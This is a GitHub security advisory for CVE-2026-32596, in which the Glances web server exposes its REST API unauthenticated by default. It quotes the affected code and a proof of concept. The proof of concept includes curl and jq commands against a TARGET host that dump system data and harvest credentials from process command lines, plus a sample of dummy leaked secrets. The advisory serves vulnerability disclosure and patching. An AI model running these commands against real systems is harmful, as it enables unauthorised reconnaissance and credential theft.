GHSA-WVXV-4J8Q-4WJQ
Vulnerability from github – Published: 2026-03-16 16:23 – Updated: 2026-03-19 21:01Summary
Glances web server runs without authentication by default when started with glances -w, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.
Details
Root Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.
Affected Code:
- File: glances/outputs/glances_restful_api.py, lines 259-272
if self.args.password:
self._password = GlancesPassword(username=args.username, config=config)
if JWT_AVAILABLE:
jwt_secret = config.get_value('outputs', 'jwt_secret_key', default=None)
jwt_expire = config.get_int_value('outputs', 'jwt_expire_minutes', default=60)
self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire)
logger.info(f"JWT authentication enabled (token expiration: {jwt_expire} minutes)")
else:
self._jwt_handler = None
logger.info("JWT authentication not available (python-jose not installed)")
else:
self._password = None # NO AUTHENTICATION BY DEFAULT
self._jwt_handler = None
- File:
glances/outputs/glances_restful_api.py, lines 477-480
if self.args.password:
router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
router = APIRouter(prefix=self.url_prefix) # NO AUTH DEPENDENCY
- File:
glances/outputs/glances_restful_api.py, lines 98-99
self.bind_address = args.bind_address or "0.0.0.0" # BINDS TO ALL INTERFACES
self.port = args.port or 61208
- File:
glances/plugins/processlist/__init__.py, lines 127-140
enable_stats = [
'cpu_percent',
'memory_percent',
'memory_info',
'pid',
'username',
'cpu_times',
'num_threads',
'nice',
'status',
'io_counters',
'cpu_num',
'cmdline', # FULL COMMAND LINE EXPOSED, NO SANITIZATION
]
PoC
- Start Glances in default web server mode:
glances -w
# Output: Glances Web User Interface started on http://0.0.0.0:61208/
- Access API without authentication from any network client:
curl -s http://TARGET:61208/api/4/system | jq .
- Extract system information:
curl -s http://TARGET:61208/api/4/all > system_dump.json
- Harvest credentials from process list:
curl -s http://TARGET:61208/api/4/processlist | \
jq -r '.[] | select(.cmdline | tostring | test("password|api-key|token|secret"; "i")) |
{pid, username, process: .name, cmdline}'
- Example credential exposure:
{
"pid": 4059,
"username": "root",
"process": "python3",
"cmdline": [
"python3",
"-c",
"import time; time.sleep(3600)",
"--api-key=sk-super-secret-token-12345",
"--password=MySecretPassword123",
"--db-pass=admin123"
]
}
Impact
Complete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Glances"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32596"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T16:23:56Z",
"nvd_published_at": "2026-03-18T06:16:18Z",
"severity": "HIGH"
},
"details": "### Summary\nGlances web server runs without authentication by default when started with `glances -w`, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.\n\n### Details\nRoot Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.\n\nAffected Code:\n- File: `glances/outputs/glances_restful_api.py`, lines 259-272\n\n```python\nif self.args.password:\n self._password = GlancesPassword(username=args.username, config=config)\n if JWT_AVAILABLE:\n jwt_secret = config.get_value(\u0027outputs\u0027, \u0027jwt_secret_key\u0027, default=None)\n jwt_expire = config.get_int_value(\u0027outputs\u0027, \u0027jwt_expire_minutes\u0027, default=60)\n self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire)\n logger.info(f\"JWT authentication enabled (token expiration: {jwt_expire} minutes)\")\n else:\n self._jwt_handler = None\n logger.info(\"JWT authentication not available (python-jose not installed)\")\nelse:\n self._password = None # NO AUTHENTICATION BY DEFAULT\n self._jwt_handler = None\n```\n\n- File: `glances/outputs/glances_restful_api.py`, lines 477-480\n\n```python\nif self.args.password:\n router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n router = APIRouter(prefix=self.url_prefix) # NO AUTH DEPENDENCY\n```\n\n- File: `glances/outputs/glances_restful_api.py`, lines 98-99\n\n```python\nself.bind_address = args.bind_address or \"0.0.0.0\" # BINDS TO ALL INTERFACES\nself.port = args.port or 61208\n```\n\n- File: `glances/plugins/processlist/__init__.py`, lines 127-140\n\n```python\nenable_stats = [\n \u0027cpu_percent\u0027,\n \u0027memory_percent\u0027,\n \u0027memory_info\u0027,\n \u0027pid\u0027,\n \u0027username\u0027,\n \u0027cpu_times\u0027,\n \u0027num_threads\u0027,\n \u0027nice\u0027,\n \u0027status\u0027,\n \u0027io_counters\u0027,\n \u0027cpu_num\u0027,\n \u0027cmdline\u0027, # FULL COMMAND LINE EXPOSED, NO SANITIZATION\n]\n```\n\n### PoC\n\n1. Start Glances in default web server mode:\n```bash\nglances -w\n# Output: Glances Web User Interface started on http://0.0.0.0:61208/\n```\n\n2. Access API without authentication from any network client:\n```bash\ncurl -s http://TARGET:61208/api/4/system | jq .\n```\n\n\u003cimg width=\"593\" height=\"265\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4ec461be-b480-46d5-88e2-f4004f4dae54\" /\u003e\n\n\n3. Extract system information:\n```bash\ncurl -s http://TARGET:61208/api/4/all \u003e system_dump.json\n```\n\u003cimg width=\"688\" height=\"547\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7564fb2a-7d94-4c26-848a-03034214b8c7\" /\u003e\n\n4. Harvest credentials from process list:\n```bash\ncurl -s http://TARGET:61208/api/4/processlist | \\\n jq -r \u0027.[] | select(.cmdline | tostring | test(\"password|api-key|token|secret\"; \"i\")) | \n {pid, username, process: .name, cmdline}\u0027\n```\n\n5. Example credential exposure:\n```json\n{\n \"pid\": 4059,\n \"username\": \"root\",\n \"process\": \"python3\",\n \"cmdline\": [\n \"python3\",\n \"-c\",\n \"import time; time.sleep(3600)\",\n \"--api-key=sk-super-secret-token-12345\",\n \"--password=MySecretPassword123\",\n \"--db-pass=admin123\"\n ]\n}\n```\n\n### Impact\n\nComplete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.",
"id": "GHSA-wvxv-4j8q-4wjq",
"modified": "2026-03-19T21:01:57Z",
"published": "2026-03-16T16:23:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-wvxv-4j8q-4wjq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32596"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/commit/208d876118fea5758970f33fd7474908bd403d25"
},
{
"type": "PACKAGE",
"url": "https://github.com/nicolargo/glances"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Glances exposes the REST API without authentication"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.